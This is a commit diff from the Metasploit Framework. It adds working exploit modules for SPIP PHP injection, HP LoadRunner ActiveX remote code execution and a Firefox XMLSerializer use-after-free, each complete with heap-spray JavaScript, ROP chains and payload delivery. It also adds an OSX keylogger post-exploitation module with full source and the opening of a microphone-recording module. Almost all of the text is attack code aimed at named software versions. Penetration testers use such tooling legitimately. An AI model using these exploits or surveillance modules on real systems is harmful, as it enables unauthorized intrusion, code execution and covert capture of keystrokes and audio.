'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options([
@ -59,19 +59,25 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def check
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
if(uri and ! uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri})
return Exploit::CheckCode::Detected if response.code == 200
print_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
def check
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] == '/'
tpath = tpath.chop
end
if(uri and ! uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{rhost+tpath+uri}")
response = send_request_raw({ 'uri' => tpath+uri})
return Exploit::CheckCode::Detected if response.code == 200
print_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
end
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
@ -128,23 +134,23 @@ class Metasploit3 < Msf::Exploit::Remote
uris.each do |uri|
break if session_created?
# print_status("Sending #{tpath+uri}")
vprint_status("Sending: #{rhost+tpath+uri}")
begin
if http_method == "GET"
response = send_request_raw( {
'global' => true,
'uri' => tpath+uri,
'uri' => tpath+uri,
'headers' => datastore_headers,
}, timeout)
elsif http_method == "POST"
response = send_request_raw(
{
'global' => true,
'uri' => tpath+uri,
'method' => http_method,
'data' => postdata,
'global' => true,
'uri' => tpath+uri,
'method' => http_method,
'data' => postdata,
'headers' => datastore_headers.merge({
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => postdata.length
})
}, timeout)

View File

@ -0,0 +1,102 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SPIP connect Parameter PHP Injection',
'Description' => %q{
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
connect parameter and allows an unauthenticated user to execute arbitrary commands
with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
and Fedora linux distributions.
},
'Author' =>
[
'Arnaud Pachot', #Initial discovery
'Frederic Cikala', # PoC
'Davy Douhine' # PoC and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '83543' ],
[ 'BID', '54292' ],
[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
], self.class)
end
def check
version = nil
uri = normalize_uri(target_uri.path, "spip.php")
res = send_request_cgi({ 'uri' => "#{uri}" })
if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
version = $1
end
if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
version = $1
end
if version.nil?
return Exploit::CheckCode::Unknown
end
vprint_status("SPIP Version detected: #{version}")
if version =~ /^2\.0/ and version < "2.0.21"
return Exploit::CheckCode::Vulnerable
elsif version =~ /^2\.1/ and version < "2.1.16"
return Exploit::CheckCode::Appears
elsif version =~ /^3\.0/ and version < "3.0.3"
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path, 'spip.php')
print_status("#{rhost}:#{rport} - Attempting to exploit...")
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
end
end

View File

@ -0,0 +1,258 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
:method => "WriteFileBinary"
})
def initialize(info={})
super(update_info(info,
'Name' => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method
where user provided data is used as a memory pointer. This module has been tested
successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll
11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is
used. This one is installed with HP LoadRunner.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2370' ],
[ 'OSVDB', '95640' ],
[ 'BID', '61441'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ],
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'PrependMigrate' => true
},
'Platform' => 'win',
'Targets' =>
[
# LrWebIERREWrapper.dll 11.50.2216.0
[ 'Automatic', {} ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
],
'Privileged' => false,
'DisclosureDate' => "Jul 24 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
# Land the payload at 0x0c0c0c0c
case my_target
when targets[6]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|
else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
fake_object = [
0x0c0c0c0c, # fake vftable pointer
0x0c0c0c14 # function pointer
].pack("V*")
# No rop. Just return the payload.
return fake_object + code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using msvcr71.dll ROP")
fake_object = [
0x0c0c0c0c, # fake vftable pointer
0x7c342643 # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn
].pack("V*")
rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
object_id = rand_text_alpha(rand(10) + 8)
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object>
<script language='javascript'>
#{object_id}.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c);
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

View File

@ -0,0 +1,152 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::EXE
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:os_ver => OperatingSystems::WindowsVersions::XP,
:rank => NormalRanking,
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
:method => "WriteFileString "
})
def initialize(info={})
super(update_info(info,
'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
which allow the user to write arbitrary files. It's abused to drop a payload
embedded in a dll, which is later loaded through the Init() method from the
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
been tested successfully on IE8 on Windows XP. Virtualization based on the Low
Integrity Process, on Windows Vista and 7, will stop this module because the DLL
will be dropped to a virtualized folder, which isn't used by LoadLibrary.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-4798' ],
[ 'OSVDB', '95642' ],
[ 'BID', '61443'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ],
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic IE on Windows XP', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jul 24 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
# Just reminding the user to delete LrWeb2MdrvLoader.dll
# because migration and killing the exploited process is
# needed
def on_new_session(session)
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
end
def is_target?(agent)
if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/
return true
end
return false
end
def create_dll_js(object_id, dll_data)
dll_js = ""
first = true
dll_data.each_char { |chunk|
if first
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"
first = false
else
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"
end
}
return dll_js
end
def load_exploit_html(cli)
return nil if ((p = regenerate_payload(cli)) == nil)
file_io = rand_text_alpha(rand(10) + 8)
mdrv_service = rand_text_alpha(rand(10) + 8)
dll_data = generate_payload_dll({ :code => p.encoded })
drop_dll_js = create_dll_js(file_io, dll_data)
html = %Q|
<html>
<body>
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>
<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>
<script language='javascript'>
#{drop_dll_js}
#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
# Avoid the attack if no suitable target found
if not is_target?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(cli)
if html.nil?
send_not_found(cli)
return
end
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

View File

@ -0,0 +1,203 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox XMLSerializer Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
an use after free of an Element object, when using the serializeToStream method
with a specially crafted OutputStream defining its own write function. This module
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # Vulnerability Discovery, Analysis and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0753' ],
[ 'OSVDB', '89021'],
[ 'BID', '57209'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
}
]
],
'DisclosureDate' => 'Jan 08 2013',
'DefaultTarget' => 0))
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")
if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end
unless agent =~ /Firefox\/17/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
# Fake object landed on 0x0c101008 if heap spray is working as expected
code = [
target['FakeVFTable'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['PopRetGadget'],
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
].pack("V*")
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
content = <<-HTML
<html>
<script>
var heap_chunks;
function heapSpray(shellcode, fillsled) {
var chunk_size, headersize, fillsled_len, code;
var i, codewithnum;
chunk_size = 0x40000;
headersize = 0x10;
fillsled_len = chunk_size - (headersize + shellcode.length);
while (fillsled.length <fillsled_len)
fillsled += fillsled;
fillsled = fillsled.substring(0, fillsled_len);
code = shellcode + fillsled;
heap_chunks = new Array();
for (i = 0; i<1000; i++)
{
codewithnum = "HERE" + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}
}
function gen(len, pad) {
pad = unescape(pad);
while (pad.length < len/2)
pad += pad;
return pad.substring(0, len/2-1);
}
function run() {
var container = [];
var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_random}");
heapSpray(myshellcode,myfillsled);
var fake =
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"#{js_ptr}";
var small = gen(72, fake);
var text = 'x';
while (text.length <= 1024)
text += text;
var parent = document.createElement("parent");
var child = document.createElement("child");
parent.appendChild(child);
child.setAttribute("foo", text);
var s = new XMLSerializer();
var stream = {
write: function() {
parent.removeChild(child);
child = null;
for (i = 0; i < 2097152; ++i)
container.push(small.toLowerCase());
}
};
s.serializeToStream(parent, stream, "UTF-8");
}
</script>
<body onload="run();">
</body>
</html>
HTML
print_status("URI #{request.uri} requested...")
print_status("Sending HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})
end
end

View File

@ -6,6 +6,7 @@
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@ -20,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits a command injection vulnerability on the Oracle Endeca
Server 7.4.0. The vulnerability exists on the createDataStore method from the
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection
branch and isn't available on the 7.5.5.1 branch. In addition, the injection
has been found to be Windows specific. This module has been tested successfully
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
},

View File

@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
'hdm', # with tons of input/help/testing from the community
'Brett Moore <brett.moore[at]insomniasec.com>',
'staylor', # check() detection
'frank2 <frank2@dc949.org>', # check() detection
'jduck', # XP SP2/SP3 AlwaysOn DEP bypass
],
'License' => MSF_LICENSE,

View File

@ -0,0 +1,299 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'shellwords'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
# when we need to read from the keylogger,
# we first "knock" the process by sending a USR1 signal.
# the keylogger opens a local tcp port (22899 by default) momentarily
# that we can connect to and read from (using cmd_exec(telnet ...)).
attr_accessor :port
# the pid of the keylogger process
attr_accessor :pid
# where we are storing the keylog
attr_accessor :loot_path
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Capture Userspace Keylogger',
'Description' => %q{
Logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability.
Works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
register_options(
[
OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ]
),
OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ]
),
OptPort.new('LOGPORT',
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
)
]
)
end
def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml
opts = {
:duration => datastore['DURATION'].to_i,
:port => self.port
}
cmd = ['ruby', '-e', ruby_code(opts)]
rpid = cmd_exec(cmd.shelljoin, nil, 10)
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i
else
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
end
end
def run
if session.nil?
print_error "Invalid SESSION id."
return
end
if datastore['DURATION'].to_i < 1
print_error 'Invalid DURATION value.'
return
end
print_status "Executing ruby command to start keylogger process."
@port = datastore['LOGPORT'].to_i
@pid = run_ruby_code
begin
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
print_status "Entering read loop"
while true
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT'])
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"
if log_a.size > 0
if self.loot_path.nil?
self.loot_path = store_loot(
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
)
else
File.open(self.loot_path, 'a') { |f| f.write(log) }
end
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
print_status "Saved to #{self.loot_path}"
end
end
end
rescue ::Timeout::Error
print_status "Keylogger run completed."
end
end
def kill_process(pid)
print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}")
end
def cleanup
return if session.nil?
return if not @cleaning_up.nil?
@cleaning_up = true
if self.pid.to_i > 0
print_status("Cleaning up...")
kill_process(self.pid)
end
end
def ruby_code(opts={})
<<-EOS
# Kick off a child process and let parent die
child_pid = fork do
require 'thread'
require 'dl'
require 'dl/import'
options = {
:duration => #{opts[:duration]},
:port => #{opts[:port]}
}
#### Patches to DL (for compatibility between 1.8->1.9)
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
def ruby_1_9_or_higher?
RUBY_VERSION.to_f >= 1.9
end
def malloc(size)
if ruby_1_9_or_higher?
DL::CPtr.malloc(size)
else
DL::malloc(size)
end
end
# the old Ruby Importer defaults methods to downcase every import
# This is annoying, so we'll patch with method_missing
if not ruby_1_9_or_higher?
module DL
module Importable
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower
self.send lower, *args
else
super
end
end
end
end
end
#### 1-way IPC ####
log = ''
log_semaphore = Mutex.new
Signal.trap("USR1") do # signal used for port knocking
if not @server_listening
@server_listening = true
Thread.new do
require 'socket'
server = TCPServer.new(options[:port])
client = server.accept
log_semaphore.synchronize do
client.puts(log+"\n\r")
log = ''
end
client.close
server.close
@server_listening = false
end
end
end
#### External dynamically linked code
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Importer
dlload 'Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
extern 'void GetKeys(void *)'
extern 'unsigned char *GetScriptVariable(int, int)'
extern 'unsigned char KeyTranslate(void *, int, void *)'
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
extern 'int CFStringGetLength(void *)'
end
psn = malloc(16)
name = malloc(16)
name_cstr = malloc(MAX_APP_NAME)
keymap = malloc(16)
state = malloc(8)
#### Actual Keylogger code
itv_start = Time.now.to_i
prev_down = Hash.new(false)
while (true) do
Carbon.GetFrontProcess(psn.ref)
Carbon.CopyProcessName(psn.ref, name.ref)
Carbon.GetKeys(keymap)
str_len = Carbon.CFStringGetLength(name)
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
app_name = if copied then name_cstr.to_s else 'Unknown' end
bytes = keymap.to_str
cap_flag = false
ascii = 0
(0...128).each do |k|
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
if not prev_down[k]
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
prev_down[k] = true
if curr_ascii == 0
cap_flag = true
else
ascii = curr_ascii
end
end
else
prev_down[k] = false
end
end
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
log_semaphore.synchronize do
if ascii > 32 and ascii < 127
c = if cap_flag then ascii.chr.upcase else ascii.chr end
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
else
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
end
end
end
exit if Time.now.to_i - itv_start > options[:duration]
Kernel.sleep(0.01)
end
end
puts child_pid
Process.detach(child_pid)
EOS
end
end

View File

@ -0,0 +1,132 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'shellwords'
require 'msf/core/post/osx/ruby_dl'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::OSX::RubyDL
POLL_TIMEOUT = 120
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Manage Record Microphone',
'Description' => %q{
This module will allow you to detect (with the LIST action) and
capture (with the RECORD action) audio inputs on a remote OSX machine.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
],
'DefaultAction' => 'LIST'
))
register_options(
[
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
OptString.new('TMP_FILE',
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
),
OptString.new('AUDIO_COMPRESSION',
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
),
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
], self.class)
end
def run
fail_with("Invalid session ID selected.") if client.nil?
fail_with("Invalid action") if action.nil?
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
ruby_cmd = osx_capture_media(
:action => action.name.downcase,
:snap_filetype => '',
:audio_enabled => true,
:video_enabled => false,
:num_chunks => num_chunks,
:chunk_len => datastore['SYNC_WAIT'],
:video_device => 0,
:audio_device => datastore['MIC_INDEX'],
:snap_jpg_compression => 0,
:video_compression => '',
:audio_compression => datastore['AUDIO_COMPRESSION'],
:record_file => tmp_file,
:snap_file => tmp_file
)
